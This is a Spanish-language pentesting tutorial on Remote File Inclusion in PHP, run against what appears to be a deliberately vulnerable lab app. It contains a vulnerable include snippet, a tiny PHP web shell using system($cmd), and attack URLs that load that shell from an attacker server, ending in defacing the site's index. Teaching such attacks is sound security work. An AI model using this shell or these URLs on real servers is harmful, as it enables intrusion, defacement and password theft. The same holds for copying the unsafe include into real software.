
Artículo · Pentesting a Aplicaciones Web
Explotando la Vulnerabilidad RFI

La vulnerabilidad RFI (Remote File Inclusion) permite a un atacante ejecutar archivos remotos alojados en otros servidores.
Por ejemplo, se tiene el siguiente sitio web:
Estructura:
seccion.php
<?php
include $_REQUEST['id'];
?>
El parámetro se pasaría de esta forma:
http://www.victima.com/seccion.php?id=home
Se podría testear la vulnerabilidad, agregando un archivo remoto al parámetro id de la siguiente manera:
http://www.victima.com/seccion.php?id=http://www.serveratacante.com/shell.txt&&cmd=ls
Ejemplo:
shell.txt
<?
system($cmd)
?>
Con esto le estamos diciendo a la aplicación, que ejecute la shell del servidor atacante ejecutando el comando ls para listar archivos del servidor víctima, la diferencia principal con la vulnerabilidad LFI, es que esta vulnerabilidad funciona a través de una petición con un servidor web externo, mientras que la vulnerabilidad LFI solo funciona directamente contra el servidor web víctima. A continuación veremos un ejemplo más práctico sobre dicha vulnerabilidad.
Sitio Web aparentemente vulnerable
Para probar esta vulnerabilidad agregaremos el sitio web, https://www.google.cl, de tal manera que, si el aplicativo es vulnerable, nos debería mostrar el sitio web de google dentro del sitio web víctima. Por lo tanto el vector de ataque, quedaría de la siguiente forma:
http://192.168.1.40/dvws/vulnerabilities/fi/?page=http://www.google.cl/
Sitio Web vulnerable a RFI
A continuación utilizaremos un servidor atacante el cual tendrá una shell para que posteriormente sea ejecutada en el servidor web de la víctima.
http://192.168.1.40/dvws/vulnerabilities/fi/?page=192.168.1.8/shell.txt
Shell en Servidor Víctima
El servidor víctima interpretó dicha extensión txt como php, por ende al intentar recuperar un archivo de un servidor web externo, este es procesado como php y cómo es posible observar tenemos la shell en el servidor víctima, finalmente editamos el index para reflejar el fallo de seguridad.
Editando Index
Una vez que se tiene acceso a través de la shell, se pueden obtener contraseñas, modificar archivos, acceder a contenidos ocultos, etc.
¿Quieres aprender estas técnicas en profundidad?
Continúa tu ruta con Web Application Testing.


.png)

